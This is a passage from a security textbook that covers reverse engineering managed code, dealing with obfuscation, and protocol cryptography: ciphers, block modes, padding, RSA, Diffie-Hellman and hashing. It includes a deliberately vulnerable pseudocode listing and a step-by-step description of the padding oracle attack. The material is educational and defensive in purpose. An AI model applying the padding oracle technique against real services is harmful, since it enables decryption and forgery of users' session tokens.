multiple JAR files at one time depending on the structure of the application you’re reverse engineering. When you open a JAR file, JD-GUI will parse the metadata as well as the list of classes, which it will present in a tree structure. In Figure 6-22 we can see two important piece of information JD-GUI has extracted. First, a package named javax.crypto ➋, which defines the classes for various Java cryptographic operations. Underneath the package name is list of classes defined in that package, such as CryptoAllPermissionCollection.class ➌. If you click the class name in the left window, a decompiled version of the class will be shown on the right ➍. You can scroll through the decompiled code, or click on the fields and methods exposed by the class ➎ to jump to them in the decompiled code window. The second important thing to note is that any identifier underlined in the decompiled code can be clicked, and the tool will navigate to the definition. If you clicked the underlined all_allowed identifier ➏, the user interface would navigate to the definition of the all_allowed field in the current decompiled class. Dealing with Obfuscation All the metadata included with a typical .NET or Java application makes it easier for a Technet24 |||||||||||||||||||| |||||||||||||||||||| reverse engineer to work out what an application is doing. However, commercial developers, who employ special “secret sauce” network protocols, tend to not like the fact that these applications are much easier to reverse engineer. The ease with which these languages are decompiled also makes it relatively straightforward to discover horrible security holes in custom network protocols. Some developers might not like you knowing this, so they use obscurity as a security solution. You’ll likely encounter applications that are intentionally obfuscated using tools such as ProGuard for Java or Dotfuscator for .NET. These tools apply various modifications to the compiled application that are designed to frustrate a reverse engineer. The modification might be as simple as changing all the type and method names to meaningless values, or it might be more elaborate, such as employing runtime decryption of strings and code. Whatever the method, obfuscation will make decompiling the code more difficult. For example, Figure 6-23 shows an original Java class next to its obfuscated version, which was obtained after running it through ProGuard. Figure 6-23: Original and obfuscated class file comparison If you encounter an obfuscated application, it can be difficult to determine what it’s doing using normal decompilers. After all, that’s the point of the obfuscation. However, here are a few tips to use when tackling them: • Keep in mind that external library types and methods (such as core class libraries) cannot be obfuscated. Calls to the socket APIs must exist in the application if it does any networking, so search for them. • Because .NET and Java are easy to load and execute dynamically, you can write a simple |||||||||||||||||||| |||||||||||||||||||| test harness to load the obfuscated application and run the string or code decryption routines. • Use dynamic reverse engineering as much as possible to inspect types at runtime to determine what they’re used for. Reverse Engineering Resources The following URLs provide access to excellent information resources for reverse engineering software. These resources provide more details on reverse engineering or other related topics, such as executable file formats. • OpenRCE Forums: http://www.openrce.org/ • ELF File Format: http://refspecs.linuxbase.org/elf/elf.pdf • macOS Mach-O Format: https://web.archive.org/web/20090901205800/ http://developer.apple.com/mac/library/documentation/DeveloperTools/Conceptual/MachORuntime/Refer • PE File Format: https://msdn.microsoft.com/en- us/library/windows/desktop/ms680547(v=vs.85).aspx For more information on the tools used in this chapter, including where to download them, turn to Appendix A. Final Words Reverse engineering takes time and patience, so don’t expect to learn it overnight. It takes time to understand how the operating system and the architecture work together, to untangle the mess that optimized C can produce in the disassembler, and to statically analyze your decompiled code. I hope I’ve given you some useful tips on reverse engineering an executable to find its network protocol code. The best approach when reverse engineering is to start on small executables that you already understand. You can compare the source of these small executables to the disassembled machine code to better understand how the compiler translated the original programming language. Of course, don’t forget about dynamic reverse engineering and using a debugger whenever possible. Sometimes just running the code will be a more efficient method than static analysis. Not only will stepping through a program help you to better understand how the computer architecture works, but it will also allow you to analyze a small section of code fully. If you’re lucky, you might get to analyze a managed language executable written in .NET or Java using one of the many tools available. Of course, if the developer has obfuscated the executable, analysis becomes more difficult, but that’s part of the fun of reverse engineering. Technet24 |||||||||||||||||||| |||||||||||||||||||| 7 NETWORK PROTOCOL SECURITY Network protocols transfer information between participants in a network, and there’s a good chance that information is sensitive. Whether the information includes credit card details or top secret information from government systems, it’s important to provide security. Engineers consider many requirements for security when they initially design a protocol, but vulnerabilities often surface over time, especially when a protocol is used on public networks where anyone monitoring traffic can attack it. All secure protocols should do the following: • Maintain data confidentiality by protecting data from being read • Maintain data integrity by protecting data from being modified • Prevent an attacker from impersonating the server by implementing server authentication • Prevent an attacker from impersonating the client by implementing client authentication In this chapter, I’ll discuss ways in which these four requirements are met in common network protocols, address potential weaknesses to look out for when analyzing a protocol, and describe how these requirements are implemented in a real-world secure protocol. I’ll cover how to identify which protocol encryption is in use or what flaws to look for in subsequent chapters. The field of cryptography includes two important techniques many network protocols use, both of which protect data or a protocol in some way: encryption provides data confidentiality, and signing provides data integrity and authentication. Secure network protocols heavily use encryption and signing, but cryptography can be difficult to implement correctly: it’s common to find implementation and design mistakes that lead to vulnerabilities that can break a protocol’s security. When analyzing a protocol, you should have a solid understanding of the technologies and algorithms involved so you can spot and even exploit serious weaknesses. Let’s look at encryption first to see how mistakes in the implementation can compromise the security of an application. Encryption Algorithms The history of encryption goes back thousands of years, and as electronic communications have become easier to monitor, encryption has become considerably more important. Modern encryption algorithms often rely on very complex mathematical models. However, just because a protocol uses complex algorithms doesn’t mean it’s secure. |||||||||||||||||||| |||||||||||||||||||| We usually refer to an encryption algorithm as a cipher or code depending on how it’s structured. When discussing the encrypting operation, the original, unencrypted message is referred to as plaintext. The output of the encryption algorithm is an encrypted message called cipher text. The majority of algorithms also need a key for encryption and decryption. The effort to break or weaken an encryption algorithm is called cryptanalysis. Many algorithms that were once thought to be secure have shown numerous weaknesses and even backdoors. In part, this is due to the massive increase in computing performance since the invention of such algorithms (some of which date back to the 1970s), making feasible attacks that we once thought possible only in theory. If you want to break secure network protocols, you need to understand some of the well-known cryptographic algorithms and where their weaknesses lie. Encryption doesn’t have to involve complex mathematics. Some algorithms are only used to obfuscate the structure of the protocol on the network, such as strings or numbers. Of course, if an algorithm is simple, its security is generally low. Once the mechanism of obfuscation is discovered, it provides no real security. Here I’ll provide an overview some common encryption algorithms, but I won’t cover the construction of these ciphers in depth because in protocol analysis, we only need to understand the algorithm in use. Substitution Ciphers A substitution cipher is the simplest form of encryption. Substitution ciphers use an algorithm to encrypt a value based on a substitution table that contains one-to-one mapping between the plaintext and the corresponding cipher text value, as shown in Figure 7-1. To decrypt the cipher text, the process is reversed: the cipher value is looked up in a table (that has been reversed), and the original plaintext value is reproduced. Figure 7-1 shows an example substitution cipher. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 7-1: Substitution cipher encryption In Figure 7-1, the substitution table (meant as just a simple example) has six defined substitutions shown to the right. In a full substitution cipher, many more substitutions would typically be defined. During encryption, the first letter is chosen from the plaintext, and the plaintext letter’s substitution is then looked up in the substitution table. Here, H in HELLO is replaced with the letter X. This process continues until all the letters are encrypted. Although substitution can provide adequate protection against casual attacks, it fails to withstand cryptanalysis. Frequency analysis is commonly used to crack substitution ciphers by correlating the frequency of symbols found in the cipher text with those typically found in plaintext data sets. For example, if the cipher protects a message written in English, frequency analysis might determine the frequency of certain common letters, punctuation, and numerals in a large body of written works. Because the letter E is the most common in the English language, in all probability the most frequent character in the enciphered message will represent E. By following this process to its logical conclusion, it’s possible to build the original substitution table and decipher the message. XOR Encryption The XOR encryption algorithm is a very simple technique for encrypting and decrypting data. It works by applying the bitwise XOR operation between a byte of plaintext and a byte of the key, which results in the cipher text. For example, given the byte 0x48 and the key byte 0x82, the result of XORing them would be 0xCA. Because the XOR operation is symmetric, applying that same key byte to the cipher text returns the original plaintext. Figure 7-2 shows the XOR encryption operation with a single-byte key. |||||||||||||||||||| |||||||||||||||||||| Figure 7-2: An XOR cipher operation with a single-byte key Specifying a single-byte key makes the encryption algorithm very simple and not very secure. It wouldn’t be difficult for an attacker to try all 256 possible values for the key to decrypt the cipher text into plaintext, and increasing the size of the key wouldn’t help. As the XOR operation is symmetric, the cipher text can be XORed with the known plaintext to determine the key. Given enough known plaintext, the key could be calculated and applied to the rest of the cipher text to decrypt the entire message. The only way to securely use XOR encryption is if the key is the same size as the message and the values in the key are chosen completely at random. This approach is called one-time pad encryption and is quite difficult to break. If an attacker knows even a small part of the plaintext, they won’t be able to determine the complete key. The only way to recover the key would be to know the entire plaintext of the message; in that case, obviously, the attacker wouldn’t need to recover the key. Unfortunately, the one-time pad encryption algorithm has significant problems and is rarely used in practice. One problem is that when using a one-time pad, the size of the key material you send must be the same size as any message to the sender and recipient. The only way a one time pad can be secure is if every byte in the message is encrypted with a completely random value. Also, you can never reuse a one-time pad key for different messages, because if an attacker can decrypt your message one time, then they can recover the key, and then subsequent messages encrypted with the same key are compromised. If XOR encryption is so inferior, why even mention it? Well, even though it isn’t “secure,” developers still use it out of laziness because it’s easy to implement. XOR encryption is also used as a primitive to build more secure encryption algorithms, so it’s Technet24 |||||||||||||||||||| |||||||||||||||||||| important to understand how it works. Random Number Generators Cryptographic systems heavily rely on good quality random numbers. In this chapter, you’ll see them used as per-session keys, initialization vectors, and the large primes p and q for the RSA algorithm. However, getting truly random data is difficult because computers are by nature deterministic: any given program should produce the same output when given the same input and state. One way to generate relatively unpredictable data is by sampling physical processes. For example, you could time a user’s key presses on the keyboard or sample a source of electrical noise, such as the thermal noise in a resistor. The trouble with these sorts of sources is they don’t provide much data—perhaps only a few hundred bytes every second at best, which isn’t enough for a general purpose cryptographic system. A simple 4096-bit RSA key requires at least two random 256-byte numbers, which would take several seconds to generate. To make this sampled data go further, cryptographic libraries implement pseudorandom number generators (PRNGs), which use an initial seed value and generate a sequence of numbers that, in theory, shouldn’t be predictable without knowledge of the internal state of the generator. The quality of PRNGs varies wildly between libraries: the C library function rand(), for instance, is completely useless for cryptographically secure protocols. A common mistake is to use a weak algorithm to generate random numbers for cryptographic uses. Symmetric Key Cryptography The only secure way to encrypt a message is to send a completely random key that’s the same size as the message before the encryption can take place as a one-time pad. Of course, we don’t want to deal with such large keys. Fortunately, we can instead construct a symmetric key algorithm that uses mathematical constructs to make a secure cipher. Because the key size is considerably shorter than the message you want to send and doesn’t depend on how much needs to be encrypted, it’s easier to distribute. If the algorithm used has no obvious weakness, the limiting factor for security is the key size. If the key is short, an attacker could brute-force the key until they find the correct one. There are two main types of symmetric ciphers: block and stream ciphers. Each has its advantages and disadvantages, and choosing the wrong cipher to use in a protocol can seriously impact the security of network communications. |||||||||||||||||||| |||||||||||||||||||| Block Ciphers Many well-known symmetric key algorithms, such as the Advanced Encryption Standard (AES) and the Data Encryption Standard (DES), encrypt and decrypt a fixed number of bits (known as a block) every time the encryption algorithm is applied. To encrypt or decrypt a message, the algorithm requires a key. If the message is longer than the size of a block, it must be split into smaller blocks and the algorithm applied to each in turn. Each application of the algorithm uses the same key, as shown in Figure 7-3. Notice that the same key is used for encryption and decryption. Figure 7-3: Block cipher encryption When a symmetric key algorithm is used for encryption, the plaintext block is combined with the key as described by the algorithm, resulting in the generation of the cipher text. If we then apply the decryption algorithm combined with the key to the cipher text, we recover the original plaintext. Technet24 |||||||||||||||||||| |||||||||||||||||||| DES Probably the oldest block cipher still used in modern applications is the DES, which was originally developed by IBM (under the name Lucifer) and was published as a Federal Information Processing Standard (FIPS) in 1979. The algorithm uses a Feistel network to implement the encryption process. A Feistel network, which is common in many block ciphers, operates by repeatedly applying a function to the input for a number of rounds. The function takes as input the value from the previous round (the original plaintext) as well as a specific subkey that is derived from the original key using a key-scheduling algorithm. The DES algorithm uses a 64-bit block size and a 64-bit key. However, DES requires that 8 bits of the key be used for error checking, so the effective key is only 56 bits. The result is a very small key that is unsuitable for modern applications, as was proven in 1998 by the Electronic Frontier Foundation’s DES cracker—a hardware-key brute-force attacker that was able to discover an unknown DES key in about 56 hours. At the time, the custom hardware cost about $250,000; today’s cloud-based cracking tools can crack a key in less than a day far more cheaply. Triple DES Rather than throwing away DES completely, cryptographers developed a modified form that applies the algorithm three times. The algorithm in Triple DES (TDES or 3DES) uses three separate DES keys, providing an effective key size of 168 bits (although it can be proven that the security is actually lower than the size would suggest). As shown in Figure 7-4, in Triple DES, the DES encrypt function is first applied to the plaintext using the first key. Next, the output is decrypted using the second key. Then the output is encrypted again using the third key, resulting in the final cipher text. The operations are reversed to perform decryption. |||||||||||||||||||| |||||||||||||||||||| Figure 7-4: The Triple DES encryption process AES A far more modern encryption algorithm is AES, which is based on the algorithm Rijndael. AES uses a fixed block size of 128 bits and can use three different key lengths: 128, 192, and 256 bits; they are sometimes referred to as AES128, AES192, and AES256, respectively. Rather than using a Feistel network, AES uses a substitution-permutation network, which consists of two main components: substitution boxes (S-Box) and permutation boxes (P-Box). The two components are chained together to form a single round of the algorithm. As with the Feistel network, this round can be applied multiple times with different values of the S-Box and P-Box to produce the encrypted output. An S-Box is a basic mapping table not unlike a simple substitution cipher. The S-Box takes an input, looks it up in a table, and produces output. As an S-Box uses a large, distinct lookup table, it’s very helpful in identifying particular algorithms. The distinct lookup table provides a very large fingerprint, which can be discovered in application executables. I explained this in more depth in Chapter 6 when I discussed techniques to find unknown cryptographic algorithms by reverse engineering binaries. Other Block Ciphers DES and AES are the block ciphers that you’ll most commonly encounter, but there are others, such as those listed in Table 7-1 (and still others in commercial products). Table 7-1: Common Block Cipher Algorithms Cipher name Block size (bits) Key size (bits) Year introduced Data Encryption Standard (DES) 64 56 1979 Technet24 |||||||||||||||||||| |||||||||||||||||||| Blowfish 64 32–448 1993 Triple Data Encryption Standard (TDES/3DES) 64 56, 112, 168 1998 Serpent 128 128, 192, 256 1998 Twofish 128 128, 192, 256 1998 Camellia 128 128, 192, 256 2000 Advanced Encryption Standard (AES) 128 128, 192, 256 2001 The block and key size help you determine which cipher a protocol is using based on the way the key is specified or how the encrypted data is divided into blocks. Block Cipher Modes The algorithm of a block cipher defines how the cipher operates on blocks of data. Alone, a block-cipher algorithm has some weaknesses, as you’ll soon see. Therefore, in a real- world protocol, it is common to use the block cipher in combination with another algorithm called a mode of operation. The mode provides additional security properties, such as making the output of the encryption less predictable. Sometimes the mode also changes the operation of the cipher by, for example, converting a block cipher into a stream cipher (which I’ll explain in more detail in “Stream Ciphers” on page 158). Let’s take a look at some of the more common modes as well as their security properties and weaknesses. Electronic Code Book The simplest and default mode of operation for block ciphers is Electronic Code Book (ECB). In ECB, the encryption algorithm is applied to each fixed-size block from the plaintext to generate a series of cipher text blocks. The size of the block is defined by the algorithm in use. For example, if AES is the cipher, each block in ECB mode must be 16 bytes in size. The plaintext is divided into individual blocks, and the cipher algorithm applied. (Figure 7-3 showed the ECB mode at work.) Because each plaintext block is encrypted independently in ECB, it will always encrypt to the same block of cipher text. As a consequence, ECB doesn’t always hide large-scale structures in the plaintext, as in the bitmap image shown in Figure 7-5. In addition, an attacker can corrupt or manipulate the decrypted data in independent-block encryption by |||||||||||||||||||| |||||||||||||||||||| shuffling around blocks of the cipher text before it is decrypted. Figure 7-5: ECB encryption of a bitmap image Cipher Block Chaining Another common mode of operation is Cipher Block Chaining (CBC), which is more complex than ECB and avoids its pitfalls. In CBC, the encryption of a single plaintext block depends on the encrypted value of the previous block. The previous encrypted block is XORed with the current plaintext block, and then the encryption algorithm is applied to this combined result. Figure 7-6 shows an example of CBC applied to two blocks. At the top of Figure 7-6 are the original plaintext blocks. At the bottom is the resulting cipher text generated by applying the block-cipher algorithm as well as the CBC mode algorithm. Before each plaintext block is encrypted, the plaintext is XORed with the previous encrypted block. After the blocks have been XORed together, the encryption algorithm is applied. This ensures that the output cipher text is dependent on the plaintext as well as the previous encrypted blocks. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 7-6: The CBC mode of operation Because the first block of plaintext has no previous cipher text block with which to perform the XOR operation, you combine it with a manually chosen or randomly generated block called an initialization vector (IV). If the IV is randomly generated, it must be sent with the encrypted data, or the receiver will not be able to decrypt the first block of the message. (Using a fixed IV is an issue if the same key is used for all communications, |||||||||||||||||||| |||||||||||||||||||| because if the same message is encrypted multiple times, it will always encrypt to the same cipher text.) To decrypt CBC, the encryption operations are performed in reverse: decryption happens from the end of the message to the front, decrypting each cipher text block with the key and at each step XORing the decrypted block with the encrypted block that precedes it in the cipher text. Alternative Modes Other modes of operation for block ciphers are available, including those that can convert a block cipher into a stream cipher, and special modes, such as Galois Counter Mode (GCM), which provide data integrity and confidentiality. Table 7-2 lists several common modes of operation and indicates whether they generate a block or stream cipher (which I’ll discuss in the section “Stream Ciphers” on page 158). To describe each in detail would be outside the scope of this book, but this table provides a rough guide for further research. Table 7-2: Common Block Cipher Modes of Operation Mode name Abbreviation Mode type Electronic Code Book ECB Block Cipher Block Chaining CBC Block Output Feedback OFB Stream Cipher Feedback CFB Stream Counter CTR Stream Galois Counter Mode GCM Stream with data integrity Block Cipher Padding Block ciphers operate on a fixed-size message unit: a block. But what if you want to encrypt a single byte of data and the block size is 16 bytes? This is where padding schemes come into play. Padding schemes determine how to handle the unused remainder of a block during encryption and decryption. The simplest approach to padding is to pad the extra block space with a specific known value, such as a repeating-zero byte. But when you decrypt the block, how do you distinguish between padding bytes and meaningful data? Some network protocols specify an explicit-length field, which you can use to remove the padding, but you can’t always rely on this. One padding scheme that solves this problem is defined in the Public Key Cryptography Standard #7 (PKCS#7). In this scheme, all the padded bytes are set to a value that Technet24 |||||||||||||||||||| |||||||||||||||||||| represents how many padded bytes are present. For example, if three bytes of padding are present, each byte is set to the value 3, as shown in Figure 7-7. Figure 7-7: Examples of PKCS#7 padding What if you don’t need padding? For instance, what if the last block you’re encrypting is already the correct length? If you simply encrypt the last block and transmit it, the decryption algorithm will interpret legitimate data as part of a padded block. To remove this ambiguity, the encryption algorithm must send a final dummy block that only contains padding in order to signal to the decryption algorithm that the last block can be discarded. When the padded block is decrypted, the decryption process can easily verify the number of padding bytes present. The decryption process reads the last byte in the block to determine the expected number of padding bytes. For example, if the decryption process reads a value of 3, it knows that three bytes of padding should be present. The decryption process then reads the other two bytes of expected padding, verifying that each byte also has a value of 3. If padding is incorrect, either because all the expected padding bytes are not the same value or the padding value is out of range (the value must be less than or equal to the size of a block and greater than 0), an error occurs that could cause the decryption process to fail. The manner of failure is a security consideration in itself. Padding Oracle Attack A serious security hole, known as the padding oracle attack, occurs when the CBC mode of operation is combined with the PKCS#7 padding scheme. The attack allows an attacker to decrypt data and in some cases encrypt their own data (such as a session token) when sent |||||||||||||||||||| |||||||||||||||||||| via this protocol, even if they don’t know the key. If an attacker can decrypt a session token, they might recover sensitive information. But if they can encrypt the token, they might be able to do something like circumvent access controls on a website. For example, consider Listing 7-1, which decrypts data from the network using a private DES key. def decrypt_session_token(byte key[]) { ➊ byte iv[] = read_bytes(8); byte token[] = read_to_end(); ➋ bool error = des_cbc_decrypt(key, iv, token); if(error) { ➌ write_string("ERROR"); } else { ➍ write_string("SUCCESS"); } } Listing 7-1: A simple DES decryption from the network The code reads the IV and the encrypted data from the network ➊ and passes it to a DES CBC decryption routine using an internal application key ➋. In this case, it decrypts a client session token. This use case is common in web application frameworks, where the client is effectively stateless and must send a token with each request to verify its identity. The decryption function returns an error condition that signals whether the decryption failed. If so, it sends the string ERROR to the client ➌; otherwise, it sends the string SUCCESS ➍. Consequently, this code provides an attacker with information about the success or failure of decrypting an arbitrary encrypted block from a client. In addition, if the code uses PKCS#7 for padding and an error occurs (because the padding doesn’t match the correct pattern in the last decrypted block), an attacker could use this information to perform the padding oracle attack and then decrypt the block of data the attacker sent to a vulnerable service. This is the essence of the padding oracle attack: by paying attention to whether the network service successfully decrypted the CBC-encrypted block, the attacker can infer the block’s underlying unencrypted value. (The term oracle refers to the fact that the attacker can ask the service a question and receive a true or false answer. Specifically, in this case, the attacker can ask whether the padding for the encrypted block they sent to the service is valid.) To better understand how the padding oracle attack works, let’s return to how CBC decrypts a single block. Figure 7-8 shows the decryption of a block of CBC-encrypted data. In this example, the plaintext is the string Hello with three bytes of PKCS#7 padding after it. By querying the web service, the attacker has direct control over the original cipher text Technet24 |||||||||||||||||||| |||||||||||||||||||| and the IV. Because each plaintext byte is XORed with an IV byte during the final decryption step, the attacker can directly control the plaintext output by changing the corresponding byte in the IV. In the example shown in Figure 7-8, the last byte of the decrypted block is 0x2B, which gets XORed with the IV byte 0x28 and outputs 0x03, a padding byte. But if you change the last IV byte to 0xFF, the last byte of the cipher text decrypts to 0xD4, which is no longer a valid padding byte, and the decryption service returns an error. Figure 7-8: CBC decryption with IV Now the attacker has everything they need to figure out the padding value. They query the web service with dummy cipher texts, trying all possible values for the last byte in the IV. Whenever the resulting decrypted value is not equal to 0x01 (or by chance another valid padding arrangement), the decryption returns an error. But once padding is valid, the decryption will return success. With this information, the attacker can determine the value of that byte in the decrypted block, even though they don’t have the key. For example, say the attacker sends the last IV byte as 0x2A. The decryption returns success, which means the decrypted byte XORed with 0x2A should equal 0x01. Now the attacker can calculate the decrypted value |||||||||||||||||||| |||||||||||||||||||| by XORing 0x2A with 0x01, yielding 0x2B; if the attacker XORs this value with the original IV byte (0x28), the result is 0x03, the original padding value, as expected. The next step in the attack is to use the IV to generate a value of 0x02 in the lowest two bytes of the plaintext. In the same manner that the attacker used brute force on the lowest byte earlier, now they can brute force the second-to-lowest byte. Next, because the attacker knows the value of the lowest byte, it’s possible to set it to 0x02 with the appropriate IV value. Then, they can perform brute force on the second-to-lowest byte until the decryption is successful, which means the second byte now equals 0x02 when decrypted. By repeating this process until all bytes have been calculated, an attacker could use this technique to decrypt any block. Stream Ciphers Unlike block ciphers, which encrypt blocks of a message, stream ciphers work at the individual bit level. The most common algorithm used for stream ciphers generates a pseudorandom stream of bits, called the key stream, from an initial key. This key stream is then arithmetically applied to the message, typically using the XOR operation, to produce the cipher text, as shown in Figure 7-9. Figure 7-9: A stream cipher operation As long as the arithmetic operation is reversible, all it takes to decrypt the message is to generate the same key stream used for encryption and perform the reverse arithmetic operation on the cipher text. (In the case of XOR, the reverse operation is actually XOR.) The key stream can be generated using a completely custom algorithm, such as in RC4, or by using a block cipher and an accompanying mode of operation. Table 7-3 lists some common algorithms that you might find in real-world applications. Table 7-3: Common Stream Ciphers Technet24 |||||||||||||||||||| |||||||||||||||||||| Cipher name Key size (bits) Year introduced A5/1 and A5/2 (used in GSM voice encryption) 54 or 64 1989 RC4 Up to 2048 1993 Counter mode (CTR) Dependent on block cipher N/A Output Feedback mode (OFB) Dependent on block cipher N/A Cipher Feedback mode (CFB) Dependent on block cipher N/A Asymmetric Key Cryptography Symmetric key cryptography strikes a good balance between security and convenience, but it has a significant problem: participants in the network need to physically exchange secret keys. This is tough to do when the network spans multiple geographical regions. Fortunately, asymmetric key cryptography (commonly called public key encryption) can mitigate this issue. An asymmetric algorithm requires two types of keys: public and private. The public key encrypts a message, and the private key decrypts it. Because the public key cannot decrypt a message, it can be given to anyone, even over a public network, without fear of its being captured by an attacker and used to decrypt traffic, as shown in Figure 7-10. |||||||||||||||||||| |||||||||||||||||||| Figure 7-10: Asymmetric key encryption and decryption Although the public and private keys are related mathematically, asymmetric key algorithms are designed to make retrieving a private key from a public key very time consuming; they’re built upon mathematical primitives known as trapdoor functions. (The name is derived from the concept that it’s easy to go through a trapdoor, but if it shuts behind you, it’s difficult to go back.) These algorithms rely on the assumption that there is no workaround for the time-intensive nature of the underlying mathematics. However, future advances in mathematics or computing power might disprove such assumptions. RSA Algorithm Surprisingly, not many unique asymmetric key algorithms are in common use, especially compared to symmetric ones. The RSA algorithm is currently the most widely used to secure network traffic and will be for the foreseeable future. Although newer algorithms are based on mathematical constructs called elliptic curves, they share many general principles with RSA. The RSA algorithm, first published in 1977, is named after its original developers— Ron Rivest, Adi Shamir, and Leonard Adleman. Its security relies on the assumption that it’s difficult to factor large integers that are the product of two prime numbers. Figure 7-11 shows the RSA encryption and decryption process. To generate a new key pair using RSA, you generate two large, random prime numbers, p and q, and then choose Technet24 |||||||||||||||||||| |||||||||||||||||||| a public exponent (e). (It’s common to use the value 65537, because it has mathematical properties that help ensure the security of the algorithm.) You must also calculate two other numbers: the modulus (n), which is the product of p and q, and a private exponent (d), which is used for decryption. (The process to generate d is rather complicated and beyond the scope of this book.) The public exponent combined with the modulus constitutes the public key, and the private exponent and modulus form the private key. For the private key to remain private, the private exponent must be kept secret. And because the private exponent is generated from the original primes, p and q, these two numbers must also be kept secret. Figure 7-11: A simple example of RSA encryption and decryption The first step in the encryption process is to convert the message to an integer, typically by assuming the bytes of the message actually represent a variable-length integer. This integer, m, is raised to the power of the public exponent. The modulo operation, using the value of the public modulus n, is then applied to the raised integer me. The resulting cipher text is now a value between zero and n. (So if you have a 1024-bit key, you can only ever encrypt a maximum of 1024 bits in a message.) To decrypt the message, you apply the same process, substituting the public exponent for the private one. RSA is very computationally expensive to perform, especially relative to symmetric ciphers like AES. To mitigate this expense, very few applications use RSA directly to encrypt a message. Instead, they generate a random session key and use this key to encrypt the message with a symmetric cipher, such as AES. Then, when the application wants to |||||||||||||||||||| |||||||||||||||||||| send a message to another participant on the network, it encrypts only the session key using RSA and sends the RSA-encrypted key along with the AES-encrypted message. The recipient decrypts the message first by decrypting the session key, and then uses the session key to decrypt the actual message. Combining RSA with a symmetric cipher like AES provides the best of both worlds: fast encryption with public key security. RSA Padding One weakness of this basic RSA algorithm is that it is deterministic: if you encrypt the same message multiple times using the same public key, RSA will always produce the same encrypted result. This allows an attacker to mount what is known as a chosen plaintext attack in which the attacker has access to the public key and can therefore encrypt any message. In the most basic version of this attack, the attacker simply guesses the plaintext of an encrypted message. They continue encrypting their guesses using the public key, and if any of the encrypted guesses match the value of the original encrypted message, they know they’ve successfully guessed the target plaintext, meaning they’ve effectively decrypted the message without private key access. To counter chosen plaintext attacks, RSA uses a form of padding during the encryption process that ensures the encrypted output is nondeterministic. (This “padding” is different from the block cipher padding discussed earlier. There, padding fills the plaintext to the next block boundary so the encryption algorithm has a full block to work with.) Two padding schemes are commonly used with RSA: one is specified in the Public Key Cryptography Standard #1.5; the other is called Optimal Asymmetric Encryption Padding (OAEP). OAEP is recommended for all new applications, but both schemes provide enough security for typical use cases. Be aware that not using padding with RSA is a serious security vulnerability. Diffie–Hellman Key Exchange RSA isn’t the only technique used to exchange keys between network participants. Several algorithms are dedicated to that purpose; foremost among them is the Diffie–Hellman Key Exchange (DH) algorithm. The DH algorithm was developed by Whitfield Diffie and Martin Hellman in 1976 and, like RSA, is built upon the mathematical primitives of exponentiation and modular arithmetic. DH allows two participants in a network to exchange keys and prevents anyone monitoring the network from being able to determine what that key is. Figure 7-12 shows the operation of the algorithm. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 7-12: The Diffie–Hellman Key Exchange algorithm The participant initiating the exchange determines a parameter, which is a large prime number, and sends it to the other participant: the chosen value is not a secret and can be sent in the clear. Then each participant generates their own private key value—usually using a cryptographically secure random number generator—and computes a public key using this private key and a selected group parameter that is requested by the client. The public keys can safely be sent between the participants without the risk of revealing the private keys. Finally, each participant calculates a shared key by combining the other’s public key with their own private key. Both participants now have the shared key without ever having directly exchanged it. DH isn’t perfect. For example, this basic version of the algorithm can’t handle an attacker performing a man-in-the-middle attack against the key-exchange. The attacker |||||||||||||||||||| |||||||||||||||||||| can impersonate the server on the network and exchange one key with the client. Next, the attacker exchanges a different key with the server, resulting in the attacker now having two separate keys for the connection. Then the attacker can decrypt data from the client and forward it on to the server, and vice versa. Signature Algorithms Encrypting a message prevents attackers from viewing the information being sent over the network, but it doesn’t identify who sent it. Just because someone has the encryption key doesn’t mean they are who they say they are. With asymmetric encryption, you don’t even need to manually exchange the key ahead of time, so anyone can encrypt data with your public key and send it to you. Signature algorithms solve this problem by generating a unique signature for a message. The message recipient can use the same algorithm used to generate the signature to prove the message came from the signer. As an added advantage, adding a signature to a message protects it against tampering if it’s being transmitted over an untrusted network. This is important, because encrypting data does not provide any guarantee of data integrity; that is, an encrypted message can still be modified by an attacker with knowledge of the underlying network protocol. All signature algorithms are built upon cryptographic hashing algorithms. First, I’ll describe hashing in more detail, and then I’ll explain some of the most common signature algorithms. Cryptographic Hashing Algorithms Cryptographic hashing algorithms are functions that are applied to a message to generate a fixed-length summary of that message, which is usually much shorter than the original message. These algorithms are also called message digest algorithms. The purpose of hashing in signature algorithms is to generate a relatively unique value to verify the integrity of a message and to reduce the amount of data that needs to be signed and verified. For a hashing algorithm to be suitable for cryptographic purposes, it has to fulfill three requirements: Pre-image resistance Given a hash value, it should be difficult (such as by requiring a massive amount of computing power) to recover a message. Collision resistance It should be difficult to find two different messages that hash to the same value. Nonlinearity It should be difficult to create a message that hashes to any given value. A number of hashing algorithms are available, but the most common are members of Technet24 |||||||||||||||||||| |||||||||||||||||||| either the Message Digest (MD) or Secure Hashing Algorithm (SHA) families. The Message Digest family includes the MD4 and MD5 algorithms, which were developed by Ron Rivest. The SHA family, which contains the SHA-1 and SHA-2 algorithms, among others, is published by NIST. Other simple hashing algorithms, such as checksums and cyclic redundancy checks (CRC), are useful for detecting changes in a set of data; however, they are not very useful for secure protocols. An attacker can easily change the checksum, as the linear behavior of these algorithms makes it trivial to determine how the checksum changes, and this modification of the data is protected so the target has no knowledge of the change. Asymmetric Signature Algorithms Asymmetric signature algorithms use the properties of asymmetric cryptography to generate a message signature. Some algorithms, such as RSA, can be used to provide the signature and the encryption, whereas others, such as the Digital Signature Algorithm (DSA), are designed for signatures only. In both cases, the message to be signed is hashed, and a signature is generated from that hash. Earlier you saw how RSA can be used for encryption, but how can it be used to sign a message? The RSA signature algorithm relies on the fact that it’s possible to encrypt a message using the private key and decrypt it with the public one. Although this “encryption” is no longer secure (the key to decrypt the message is now public), it can be used to sign a message. For example, the signer hashes the message and applies the RSA decryption process to the hash using their private key; this encrypted hash is the signature. The recipient of the message can convert the signature using the signer’s public key to get the original hash value and compare it against their own hash of the message. If the two hashes match, the sender must have used the correct private key to encrypt the hash; if the recipient trusts that the only person with the private key is the signer, the signature is verified. Figure 7-13 shows this process. |||||||||||||||||||| |||||||||||||||||||| Figure 7-13: RSA signature processing Message Authentication Codes Unlike RSA, which is an asymmetric algorithm, Message Authentication Codes (MACs) are symmetric signature algorithms. As with symmetric encryption, symmetric signature algorithms rely on sharing a key between the sender and recipient. For example, say you want to send me a signed message and we both have access to a shared key. First, you’d combine the message with the key in some way. (I’ll discuss how to do this in more detail in a moment.) Then you’d hash the combination to produce a value that couldn’t easily be reproduced without the original message and the shared key. When you sent me the message, you’d also send this hash as the signature. I could verify that the signature is valid by performing the same algorithm as you did: I’d combine the key and message, hash the 